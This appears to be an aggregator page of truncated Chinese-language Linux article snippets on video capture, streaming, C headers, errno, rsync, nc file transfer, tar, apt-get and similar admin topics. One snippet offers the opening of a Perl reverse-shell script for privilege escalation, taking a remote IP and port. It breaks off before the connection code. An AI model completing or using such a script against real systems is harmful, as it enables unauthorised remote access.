Time of Update: 2018-12-06
本期的重點在介紹擷取 frame 的方法, 並且將重心由 video4linux 轉移到網路方面。在網路影像即時傳送方面, 我們採用的 RTP 也是各大廠商使用的標準, 在這一期裡, 我們將可以學習到利用 JRTPLIB來加入網路功能的方法。video4linux 擷取 frame 的方法在上一期的 xawtv 裡, 我們看到了 xawtv 的影像擷取功能,其中對我們最重要的部份是利用 video4linux 做影像擷取的部份。只要可以寫出video4linux 的軀動部份,
Time of Update: 2018-12-06
作者: 陳俊宏 www.jollen.orgVideo Streaming 的技術已經出現多年,在 Internet 上的應用也已經相當廣泛,而利用 Linux 建構 VideoStreaming Server 也是相當熱門的話題。如果您想瞭解什麼是 Video Streaming,本文對 VideoStreaming 的觀念與技術將做了清楚而基本的介紹。Video Streaming 來的正是時候看到 "Video" Streaming 就知道這個技術與影音有關。Video
Time of Update: 2018-12-06
在linux下的c編程中,在標頭檔中經常要用#include <sys/stat.h>以及#include<linux/*>,請問為什麼要在前面加sys或者linux,我們怎麼查看編譯器的尋找路徑呢?通常,Linux下預設的路徑是/usr/include, 和/usr/local/include, 最後還會搜尋目前的目錄。如果你要include這些目錄中的子目錄中的標頭檔,如linux, sys,那就應當 #include <linux/*>
Time of Update: 2018-12-06
當linux中的C api函數發生異常時,一般會將errno變數(需include errno.h)賦一個整數值,不同的值表示不同的含義,可以通過查看該值推測出錯的原因,在實際編程中用這一招解決了不少原本看來莫名其妙的問題。但是errno是一個數字,代表的具體含義還要到errno.h中去閱讀宏定義,而每次查閱是一件很繁瑣的事情。有下面幾種方法可以方便的得到錯誤資訊 (1)void perror(const char *s)函數說明perror (
Time of Update: 2018-12-06
linux下安裝linux:如果你已經有一個linux系統,並且想安裝其他版本,這樣的方法真的很好。非常的快。我安裝Ubuntu大約用了10分鐘。安裝步驟如下,以Ubuntu 8.04為例子。1.下載linux的ISO檔案,移到空閑分區的根目錄下(hd0,x); #根據實際情況設定(hd0,x)我下面是(hd0,6)是空的; #下載鏡像檔案如下:http://www.ubuntu.org.cn/GetUbuntu/download2.掛載ISO鏡像,複製安裝所需要的檔案,複製檔案清單。
Time of Update: 2018-12-06
字串的掐頭去尾%x=aabbaarealwwvvww%echo "${x%w*w}"aabbaarealwwvv%echo "${x%%w*w}"aabbaareal%echo "${x##a*a}"lwwvvww%echo "${x#a*a}"bbaarealwwvvww其中 , # 表示掐頭, 因為鍵盤上 # 在 $ 的左面。其中 , % 表示掐尾, 因為鍵盤上 % 在 $
Time of Update: 2018-12-06
nc是一個功能強大的命令,可以通過它在兩台Linux主機之間進行檔案傳輸。假如有兩台主機A和B,ip地址分別是192.168.0.1和192.168.0.2,我需要從B主機上傳輸一個檔案test1.in到A主機上,那麼操作方法如下所示:在A主機上:nc -l 25 > test1.out在B主機上:nc 192.168.0.1 < test1.in文
Time of Update: 2018-12-06
在資料日益重要,硬體日益廉價的今天,資料的備份就顯得尤為重要。然而資料備份有一個問題就是冗餘,尤其對於視頻、音頻檔案等。這個時候,就需要同步備份。Linux下強大的同步工具-rsync閃亮出場。他能夠自動判斷檔案是否變化,從而同步當前資料和備份資料。首先安裝sudo apt-get install rsync一條命令搞定rsync -raz --progress --size-only --delete srcdir
Time of Update: 2018-12-06
1. pgrep:比如,你可以使用 pgrep -u root 來代替 ps -ef | egrep '^root ' | awk '{print $2}',以便抓取屬於 root 的 PID。2. pstree:我覺得這個命令很酷,它可以直接列出進程樹,或者換句話說是按照樹狀結構來列出進程。3. bc:這個命令在我的系統中沒有找到,可能需要安裝。這是用來執行計算的一個命令,如使用它來開平方根。4.
Time of Update: 2018-12-06
1、設定系統內容變數 很多時候我們都需要自行設定系統內容變數,比如使用jdk時等,通過編輯bash.bashrc檔案可以達到這個目的: 備份並編輯:sudo cp /etc/bash.bashrc /etc/bash.bashrc_backupsudo gedit /etc/bash.bashrc 在檔案末尾加上相應的環境變數,這些變數對整個系統有效,比如我的jdk在案頭,那麼我添加這樣一行:JAVA_HOME=/home/aaron/Desktop/jdk1.5export
Time of Update: 2018-12-06
早在 Carla Schroder 編寫第一本書《Linux Cookbook》之際,她就預想將來會寫一本《Linux Networking Cookbook》作為姐妹篇,兩者就像花生奶油和巧克力一樣天然渾成。以下是她為那些想成為卓越Linux網管的人們所撰寫的十大秘訣——無論你目前水平如何,它們都是非常值得參考的建議。除第一條之外,不分先後:1. 研究並掌握TCP/IP包、UDP資料報及ICMP訊息的結構。2. 理解網路連接如何建立、維持和終止的相關細節。3.
Time of Update: 2018-12-06
linux下提權反彈指令碼!代碼如下#!/usr/bin/perl -w # use strict; use Socket; use IO::Handle; if($#ARGV+1 != 2){ print "$#ARGV $0 Remote_IP Remote_Port \n"; exit 1; } my $remote_ip = $ARGV[0]; my $remote_port = $ARGV[1];
Time of Update: 2018-12-06
inux 學習書目推薦Linux基礎1、《Linux與Unix Shell 編程指南》C語言基礎1、《C Primer Plus,5th Edition》【美】Stephen Prata著2、《The C Programming Language, 2nd Edition》【美】Brian W. Kernighan David M. Rithie(K & R)著3、《Advanced Programming in the UNIX Environment,2nd
Time of Update: 2018-12-06
問題的提出: 一般來說,linux伺服器大多是通過ssh用戶端來進行遠端登陸和管理的,使用ssh登陸linux主機以後,如何能夠快速的和本地機器進行檔案的互動呢,也就是上傳和下載檔案到伺服器和本地; 與ssh有關的兩個命令可以提供很方便的操作: sz:將選定的檔案發送(send)到本地機器 rz:運行該命令會彈出一個檔案選擇視窗,從本地選擇檔案上傳到伺服器(receive)當然,還可以設定一下目錄了:設定一下上傳和下載的預設目錄
Time of Update: 2018-12-06
以下是網友王垠寫的關於學習Linux的忠告。但只要稍加替換,它完全可以用來解決FF與IE,五筆與拼音,QQ與MSN,IBM與HP,甚至是SONY與任天堂粉絲之間的種種爭端。1. 不要當“傳教士” 很多人在討論區不斷的引起 "Linux vs. Windows" 之類的討論,甚至爭的面紅耳赤,這是沒有必要的。 這種爭論是浪費時間而沒有任何用處的。對,你花了一下午,用許多事實“捍衛”了 “Linux 比 Windows 好” 這個說法。但是 Windows 的支援者並不會喜歡上
Time of Update: 2018-12-06
一、在伺服器上安裝rstatd守護進程安裝步驟:1. 從網上下載rstatd2. 將該檔案放到/home/user目錄下3. chmod 777 rpc.rstatd----改變該檔案讀寫的許可權,擁有所有許可權。4. chmod 777 configure ---同上5. ./configure ---配置6. make ---編譯7. make install ---安裝8. rpc.rstatd ---啟動rstatd進程二、在lr中配置 從LR裡面add measurement,
Time of Update: 2018-12-06
1.軟體包相關:apt-get update——在修改/etc/apt/sources.list或者/etc/apt/preferences之後運行該命令。此外您需要定期運行這一命令以確保您的軟體包列表是最新的。 apt-get install packagename——安裝一個新軟體包(參見下文的aptitude) apt-get remove packagename——卸載一個已安裝的軟體包(保留設定檔) apt-get –purge remove
Time of Update: 2018-12-06
1.依賴包 成功安裝該軟體包需要以下軟體輔助:- cc或gcc編譯器- make工具- libiconv共用庫- libgcc共用庫2.軟體編譯安裝Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->#解壓軟體包:shell > tar -xvf rdesktop-1.6.0.tar.gz#進入軟體包解開後的目錄,執行:shell > ./
Time of Update: 2018-12-06
一.tar命令 tar可以為檔案和目錄建立檔案。利用tar,使用者可以為某一特定檔案建立檔案(備份檔案),也可以在檔案中改變檔案,或者向檔案中加入新的檔案。tar 最初被用來在磁帶上建立檔案,現在,使用者可以在任何裝置上建立檔案,如磁碟片。利用tar命令,可以把一大堆的檔案和目錄全部打包成一個檔案,這對於備份檔案或將幾個檔案組合成為一個檔案以便於網路傳輸是非常有用的。Linux上的tar是GNU版本的。文法:tar [主選項+輔選項]
Time of Update: 2018-12-06
來源:http://www.linuxsir.org/bbs/showthread.php?t=236915